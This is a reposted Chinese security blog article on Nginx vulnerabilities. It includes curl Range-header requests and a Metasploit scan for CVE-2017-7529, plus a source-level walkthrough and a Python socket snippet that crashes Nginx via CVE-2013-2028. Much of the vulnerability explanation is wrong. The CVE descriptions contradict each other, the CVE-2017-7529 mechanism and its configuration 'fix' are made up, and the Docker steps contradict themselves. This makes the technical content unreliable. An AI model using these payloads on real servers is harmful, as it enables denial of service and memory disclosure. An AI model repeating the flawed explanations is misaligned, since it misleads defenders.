中间件常见漏洞之Nginx

admin 2024年11月13日22:00:43评论74 views字数 9025阅读30分5秒阅读模式

免责声明

由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

0x01 Nginx简介

Nginx是一款高性能、高可靠性的Web服务器和反向代理服务器。它的设计目标是为了解决C10k问题,也就是在一个服务进程中处理成千上万的并发连接。

Nginx发展历程

  • 2002年:Igor Sysoev开始编写Nginx

  • 2004年:Nginx首次公开发布

  • 2005年:Nginx成为俄罗斯最受欢迎的Web服务器之一

  • 2008年:Nginx 0.6版发布,支持多进程模型

  • 2011年:Nginx 1.0版发布,宣布正式进入稳定版阶段

  • 2013年:Nginx成为全球最受欢迎的Web服务器之一,超越Apache

  • 2015年:Nginx公司成立,推出商业版Nginx Plus

  • 2019年:F5 Networks宣布收购Nginx公司,成为其子公司

Nginx的优点

  1. 高性能:Nginx采用事件驱动的异步非阻塞处理方式,能够支持更多的并发连接和更高的吞吐量。

  2. 轻量级:Nginx的核心代码非常精简,占用的资源少,启动速度快。

  3. 高可靠性:Nginx的设计具有很好的稳定性和容错能力,能够在高负载下稳定运行。

  4. 灵活性:Nginx支持模块化设计,可以通过添加不同的模块来实现不同的功能,比如反向代理、负载均衡、缓存、SSL等。

Nginx基本架构

Nginx的基本架构采用事件驱动的异步架构,它不同于传统的多线程或多进程模型,可以有效地利用系统资源并提高处理效率。Nginx的核心由Master进程和Worker进程组成,Master进程主要负责管理和监控Worker进程,而Worker进程则负责具体的请求处理。Nginx采用epoll、kqueue、select等多种I/O模型来处理并发请求,同时支持动态模块加载和灵活的配置,可以根据不同的需求进行灵活调整。

Nginx应用场景

  1. 作为Web服务器:Nginx可以作为静态文件服务器,处理静态文件的请求,同时也支持动态页面请求的反向代理。

  2. 作为反向代理服务器:Nginx可以将请求转发到不同的后端服务器,实现负载均衡和高可用性。

  3. 作为缓存服务器:Nginx可以将经常被请求的数据缓存起来,减轻后端服务器的压力,提高性能。

  4. 作为安全服务器:Nginx可以通过SSL协议实现加密通信,同时还可以通过HTTP Basic Auth等方式实现用户认证和访问控制。

中间件常见漏洞之Nginx

Nginx相关漏洞类型

  1. 认证和授权漏洞:例如未正确验证用户身份、未授权访问、访问控制不当等问题。

  2. 输入验证漏洞:例如未正确过滤和验证用户输入的数据,导致注入攻击、跨站脚本攻击等安全问题。

  3. 安全配置漏洞:例如配置错误或不当的安全设置,如使用默认密码、禁用了重要的安全功能等。

  4. 逻辑漏洞:例如不正确的逻辑判断、缺少合适的错误处理等问题。

  5. 缓冲区溢出漏洞:例如未正确限制用户输入数据大小,导致溢出攻击等问题。

  6. 拒绝服务漏洞:例如攻击者利用Nginx的特定漏洞进行拒绝服务攻击,导致服务器崩溃或无法响应用户请求。

Nginx相关高危漏洞案例

  1. CVE-2013-2028:使用PUT或DELETE方法可导致任意文件覆盖漏洞。

  2. CVE-2013-4547:由于Nginx未正确处理不合法的HTTP头,攻击者可利用此漏洞进行拒绝服务攻击。

  3. CVE-2014-0133:由于Nginx未正确处理分块编码的HTTP请求,攻击者可利用此漏洞进行拒绝服务攻击。

  4. CVE-2017-7529:由于Nginx未正确处理特定的HTTP请求,攻击者可利用此漏洞进行拒绝服务攻击。

中间件常见漏洞之Nginx

0x02 Nginx漏洞复现

Nginx缓存溢出漏洞(CVE-2017-7529)

原理

当Nginx处理大量请求时,会使用一个叫做ngx_http_upstream_t的结构体来保存上游服务器的信息。该结构体中有两个指针变量:peer和peers。peer指针用于指向当前的上游服务器,peers指针用于指向所有的上游服务器列表。在正常情况下,Nginx会通过peer指针访问上游服务器,但当peer指针为空时,Nginx会使用peers指针来访问上游服务器列表。当请求过多时,会导致缓存的peers列表溢出,攻击者可以通过恶意构造的请求利用该漏洞,导致Nginx崩溃或拒绝服务。

利用方式

攻击者可以通过构造大量的请求,使得Nginx缓存的peers列表溢出,然后发送恶意请求,利用缓存溢出漏洞进行攻击。攻击者可以发送如下请求,利用该漏洞导致服务拒绝攻击:

GET / HTTP/1.1Host: example.comRange: bytes=0-,0-,0-,0-,0-,0-,0-,0-,0-

漏洞复现

Metasploitable 3为例

  1. 下载Metasploitable 3的ISO文件,然后安装Metasploitable 3,可以参考官方文档进行安装和配置。

  2. 在Metasploit框架中,使用msfconsole命令启动Metasploit控制台。

  3. 输入以下命令:

    use auxiliary/scanner/http/nginx_range_headerset RHOSTS [IP地址]run
  4. 这个模块将向目标主机发送HTTP请求,以检查是否存在CVE-2017-7529漏洞。如果目标主机存在该漏洞,将会收到一个有关漏洞的详细信息的输出。

Vulhub为例

  1. 下载并安装Docker和Docker Compose,可以参考官方文档进行安装和配置。

  2. 启动环境

cd  /vulhub-master/nginx/CVE-2017-7529docker-compose up -d

该镜像已经安装了Nginx 1.10.3版本,并应用了CVE-2017-7529漏洞的修复补丁。

中间件常见漏洞之Nginx

  1. 运行Nginx漏洞环境的Docker镜像:docker run -d -p 80:80 vulhub/nginx:1.10.3-patched。该命令将启动Nginx容器,并将容器的80端口映射到主机的8080端口,启动环境后访问8080

中间件常见漏洞之Nginx

可见版本为 nginx/1.13.2

中间件常见漏洞之Nginx

  1. 使用curl工具向目标主机发送HTTP请求,以检查是否存在CVE-2017-7529漏洞。具体命令如下:

    javascriptCopy codecurl -H "Range:bytes=0-18446744073709551615" http://[IP地址]/

    其中,Range头部的值是用来触发CVE-2017-7529漏洞的,该值中包含了一个较大的字节范围,可以导致Nginx服务器进程占用过高的内存资源。

    如果目标主机存在CVE-2017-7529漏洞,则curl工具将收到一个HTTP响应,其中包含有关该漏洞的详细信息。否则,curl工具将返回一个正常的HTTP响应。

使用与利用

Poc

  1. 访问缓存文件拿到 Content-Length,以 /proxy/demo.png 为例:

$ curl -I http://127.0.0.1:8000/proxy/demo.pngHTTP/1.1 200 OKServer: nginx/1.13.1Date: Wed, 12 Jul 2017 15:57:57 GMTContent-Type: image/pngContent-Length: 16585Connection: keep-aliveLast-Modified: Wed, 12 Jul 2017 15:57:57 GMTETag: W/"40c9-5543e4fad0d40"X-Proxy-Cache:: MISSAccept-Ranges: bytes

看到 Content-Length: 16585, 找个比这个数大的值,例如 17208, 第二个 range 值为 0x8000000000000000-17208, 也就是 9223372036854758600

  1. 请求时设置 range 如下:

    $ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600

看到结果:

中间件常见漏洞之Nginx

Poc 脚本

$ python poc.py http://127.0.0.1:8000/proxy/demo.pngVulnerable: http://127.0.0.1:8000/proxy/demo.png
工具链接

https://github.com/liusec/CVE-2017-7529

漏洞修复

在Nginx的配置文件中添加如下配置:

http {...upstream backend {server backend1.example.com;server backend2.example.com;...keepalive 64; # 修改缓存大小}...}

该配置将缓存大小限制在64个,防止攻击者通过构造大量请求导致缓存溢出。同时,Nginx还发布了相关的安全更新,建议及时升级。

Nginx解析URL存在缓存溢出漏洞(CVE-2013-2028)

原理

当Nginx接收到包含“%00”字符串的URI时,会将其存储在缓存中,以便在未来的请求中重新使用。但是,当攻击者向URI后面附加恶意代码时,缓存中的字符串长度可能会超出预期,从而导致缓存溢出。

这个漏洞的危害在于攻击者可以利用缓存溢出来执行任意代码,例如远程命令执行、拒绝服务攻击等。因此,如果您的Nginx服务器受到此漏洞的影响,那么攻击者可能会利用此漏洞来获取系统权限并执行各种恶意操作。

漏洞复现

1、静态分析
首先从patch来看 File: src/http/ngx_http_parse.c

data:    ctx->state = state;    b->pos = pos;    ...省略+    if (ctx->size < 0 || ctx->length < 0) {+        goto invalid;+    }

往上回溯寻找goto data调用的地方

ngx_int_t ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,ngx_http_chunked_t *ctx){    ...省略    state = ctx->state;    for (pos = b->pos; pos < b->last; pos++) {        switch (state) {            ...省略            case sw_chunk_data:                rc = NGX_OK;                goto data;        }    }}

继续往上回溯寻找ngx_http_parse_chunked函数调用处,这里有两处,我以ngx_http_discard_request_body_filter作为分析

/src/http/ngx_http_request_body.c

static ngx_int_t ngx_http_discard_request_body_filter(ngx_http_request_t *r, ngx_buf_t *b){    size_t                    size;    ngx_int_t                 rc;    ngx_http_request_body_t  *rb;    if (r->headers_in.chunked) {        rb = r->request_body;        ...省略        for ( ;; ) {            rc = ngx_http_parse_chunked(r, b, rb->chunked);            if (rc == NGX_OK) {                /* a chunk has been parsed successfully */                size = b->last - b->pos;                if ((off_t) size > rb->chunked->size) {                    b->pos += rb->chunked->size;                    rb->chunked->size = 0;                } else {                    rb->chunked->size -= size;                    b->pos = b->last;                }                continue;            }            if (rc == NGX_DONE) {                /* a whole response has been parsed successfully */                r->headers_in.content_length_n = 0;                break;            }            if (rc == NGX_AGAIN) {                /* set amount of data we want to see next time */                r->headers_in.content_length_n = rb->chunked->length;                break;            }            /* invalid */            ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,                          "client sent invalid chunked body");            return NGX_HTTP_BAD_REQUEST;        }    } else {        size = b->last - b->pos;        if ((off_t) size > r->headers_in.content_length_n) {            b->pos += r->headers_in.content_length_n;            r->headers_in.content_length_n = 0;        } else {            b->pos = b->last;            r->headers_in.content_length_n -= size;        }    }    return NGX_OK;}

仔细发现这里面循环有一些rb->chunked->lengthrb->chunked->size的操作
再往上回溯便是ngx_http_read_discarded_request_body

static ngx_int_t ngx_http_read_discarded_request_body(ngx_http_request_t *r){    size_t     size;    ssize_t    n;    ngx_int_t  rc;    ngx_buf_t  b;    u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];    ...省略    for ( ;; ) {        ...省略        size = (size_t) ngx_min(r->headers_in.content_length_n,                                NGX_HTTP_DISCARD_BUFFER_SIZE);        n = r->connection->recv(r->connection, buffer, size);        ...省略        rc = ngx_http_discard_request_body_filter(r, &b);    }}

在这里面首先#define NGX_HTTP_DISCARD_BUFFER_SIZE 4096,存在一个buffer变量,其中长度最大为4096
然后使用ngx_min宏: #define ngx_min(val1, val2) ((val1 > val2) ? (val2) : (val1)),看headers_in.content_length_n的大小是多少,如果小于4096的话将会把它的值给size。
接下来就是使用recv接收数据,这里要注意recv函数,如果buffer比size小的话,接收过多数据时候会导致栈溢出问题。

当然这里看起来没问题,因为使用了ngx_min做了处理,但是要注意的是headers_in.content_length_n类型为off_t,也就是有符号的long型,如果他能够为负数,再通过将它转换为size_t类型,也就是无符号的unsigned int型,最终的数值会变得很大。

回到ngx_http_discard_request_body_filter上一个函数看r->headers_in.chunked条件中的NGX_AGAIN情况

if (rc == NGX_AGAIN) {    /* set amount of data we want to see next time */    r->headers_in.content_length_n = rb->chunked->length;    break;}

如果NGX_AGAIN的话,r->headers_in.content_length_n的值将会被第二次的rb->chunked->length长度覆盖掉

继续往上找便是ngx_http_read_discarded_request_body -> ngx_http_discarded_request_body_handler -> ngx_http_discard_request_body

回顾上面nginx请求的流程,ngx_http_discard_request_body便是进行了丢弃http包体处理,它被多个modules进行调用,默认nginx安装后,请求的是一个静态资源,也就是/src/http/modules/ngx_http_static_module.c这个模块进行处理

再往上回溯步骤较多,可以通过gdb可以看看这个过程是如何调用到的

中间件常见漏洞之Nginx

2、动态调试
编译安装nginx

./configure --prefix=/opt/nginx/nginx1_3_9 --sbin-path=/opt/nginx/nginx1_3_9/sbin/nginx --conf-path=/opt/nginx/nginx1_3_9/conf/nginx.conf --with-http_stub_status_module --with-http_ssl_modulemake && make install# 测试配置是否通过./nginx -t./nginx

gdb调试

ps aux | grep nginx # 找到对应pidgdb      # 进行调试

中间件常见漏洞之Nginx

attach 14561    # 依附worker processstopb ngx_http_init_connectioncontinuep *(struct ngx_http_request_s*)0x6d2070

中间件常见漏洞之Nginx

回过头来看ngx_http_discard_request_body_filter函数,其中有一个条件是if (r->headers_in.chunked)

static ngx_int_t ngx_http_process_request_header(ngx_http_request_t *r){    ...省略        if (r->headers_in.transfer_encoding) {        if (r->headers_in.transfer_encoding->value.len == 7            && ngx_strncasecmp(r->headers_in.transfer_encoding->value.data,                               (u_char *) "chunked", 7) == 0)        {            r->headers_in.content_length = NULL;            r->headers_in.content_length_n = -1;            r->headers_in.chunked = 1;

设置头部为transfer-encoding: chunked,并且post一些数据才能进入ngx_http_parse_chunked

GET / HTTP/1.1Host: love.lemon:6969transfer-encoding: chunkedContent-Length: 7616263

ngx_http_parse_chunked的开始state是sw_chunk_start,然后进入sw_chunk_size,也就是获取post过来的chunked数据,数据是16进制编码

case sw_chunk_size:    if (ch >= '0' && ch <= '9') {        ctx->size = ctx->size * 16 + (ch - '0');        break;    }    c = (u_char) (ch | 0x20);    if (c >= 'a' && c <= 'f') {        ctx->size = ctx->size * 16 + (c - 'a' + 10);        break;    }

最后ctx->size将会把值给ctx->length,这里要注意size和length都是off_t类型

case sw_chunk_size:    ctx->length = 2 /* LF LF */                  + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);

中间件常见漏洞之Nginx

这个时候可以返回到漏洞触发点处,r->headers_in.content_length_n将会等于rb->chunked->length,即headers_in.content_length_n的长度是被我们所控的,现在就是需要看传入什么值才能够为负数

raw = '''GET / HTTP/1.1rnHost: %srnTransfer-Encoding: chunkedrnConnection: Keep-Alivernrn''' % (host)raw += 'f' * (1024 - len(raw) - 16)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('ip', port))data1 = rawdata1 += "f0000000"data1 += "00000060" + "rn"s.send(data1)s.send("B" * 6000)s.close()

这个要注意的是,nginx第一次接受到Http请求的时候,其中会接受1024长度,如果超过了它,便会进入NGX_AGAIN,然后会revc后面的数据。

中间件常见漏洞之Nginx可以看到传入f000000000000060的时候,便可以覆盖了$rbp,最终nginx: worker process崩溃重启。

这里注意的一点是,在Ubuntu 14.04下测试的时候发现,recv函数原型: recv(r, buf, len, xxx),其中len如果过大,会直接返回0xffffffff,导致buffer没有被传入的数据覆盖。

Nginx性能优化

Nginx性能出色的原因之一是其优秀的设计和实现,但也需要根据实际情况进行一些性能优化。

例如,在处理大量并发连接和请求时,可以采用异步事件模型和多进程或多线程架构;

在缓存方面,可以采用合适的缓存策略和缓存机制,例如使用Memcached或Redis等缓存服务器;在网络方面,可以调整连接数和缓冲区大小,开启TCP优化,以提高网络传输效率和性能等。

参考文献

https://www.cnblogs.com/iamstudy/articles/nginx_CVE-2013-2028_brop.html

0x03 知识星球

中间件常见漏洞之Nginx

原文始发于微信公众号(狐狸说安全):中间件常见漏洞之Nginx

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月13日22:00:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   中间件常见漏洞之Nginxhttps://cn-sec.com/archives/1652841.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息